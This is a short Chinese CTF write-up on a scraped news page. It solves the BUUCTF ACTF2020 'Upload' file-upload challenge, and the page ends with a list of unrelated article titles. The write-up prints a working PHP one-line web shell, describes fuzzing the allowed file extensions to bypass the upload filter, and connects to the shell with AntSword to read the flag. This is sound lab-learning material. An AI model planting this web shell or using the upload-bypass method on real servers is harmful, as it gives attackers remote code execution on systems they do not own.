当前位置： 首页 > news >正文

BUUCTF-[ACTF2020 新生赛]Upload

news 2026/5/12 1:44:12

打开靶机后发现是一个文件上传的题目

随便上传一个文件观察路径和返回的方式是什么

发现只能上传jpg,png,gif的文件

上传一个jpg文件

发现页面会回显返回的路径

既然有路径了我们就可以尝试上传一句话木马了

构造一句话木马

<?php

@eval($_POST['rc']);

?>

导入字典观察过滤的哪些后缀

发现基本都没过滤

那就找到返回最长的发送过去

上传成功

蚁剑连接

在根目录中便可找到flag

http://www.jsqmd.com/news/245005/

相关文章：

  • 发刊不用愁：paperxie 期刊论文功能，一键匹配普通刊 / 核心刊的学术标准
  • 幂等性设计指南：从数据库唯一索引到 Redis Token，如何防止用户“手抖”重复提交？
  • PointMAE的代码配环境+运行
  • CMake：现代C/C++项目的构建中枢
  • 【MIMO通信】基于matlab MIMO检测器（ZF、MMSE、SIC、ML）在瑞利衰落下的BER性能比较【含Matlab源码 14929期】含报告
  • 8 款 AI 毕业论文写作工具实测：拯救你的学术秃头季
  • 锁定Nature！小样本学习是真的好发
  • 智能体反思模式：让AI从“会做“到“做好“的关键技术
  • 基于改进鲸鱼优化算法的微网系统能量优化管理Matlab源码
  • 大模型智能体工程实践：Rock Roll训练系统的构建与优化【收藏学习】
  • MyBatis：注解开发
  • 2026年AI产品市场格局：多模态崛起，音乐生成爆发，程序员必看
  • 【PaperXie毕业论文】从零到一的智能写作革命：AI如何重塑你的学术创作全流程
  • 大模型工程师转型攻略：无需985学历，四大核心能力助你轻松入行
  • 短剧广告联盟APP开发：数据对接与播放量、广告曝光量、收益联动统计方案
  • GEO营销全链路方案：附近搜索引流 + 到店优惠 + 会员裂变
  • 羟基聚乙二醇多巴胺，HO-PEG-Do试剂的全能应用图解
  • AI 赋能学术：paperxie 毕业论文功能，如何让硕士论文写作效率提升 80%？
  • paperxie 科研绘图：从流程图到专业图表，一键搞定学术可视化的 “高效工具”
  • 【智能音频翻译系统】
  • Paperxie 毕业论文：从选题到定稿的一站式智能写作解决方案
  • 大数据集成性能测试：JMeter压测ETL任务，找出性能瓶颈
  • 通信原理篇---第一类部分响应的预编码和相关编码
  • android16 rk3576修改音量曲线
  • JSON文件中显示为 \uXXXX 字符 的解决办法
  • MyBatis处理模糊查询
  • 如何用纯 HTML 文件实现 Vue.js 应用，并通过 CDN 引入 Element UI
  • MyBatis处理批量删除
  • 私有化大模型部署：企业AI落地的关键技术方案
  • 【无人机追踪】基于资源福利任务分配算法的无人机集群任务分配算法，完成目标攻击任务的基础上，通过优化资源分配和能耗控制附Matlab代码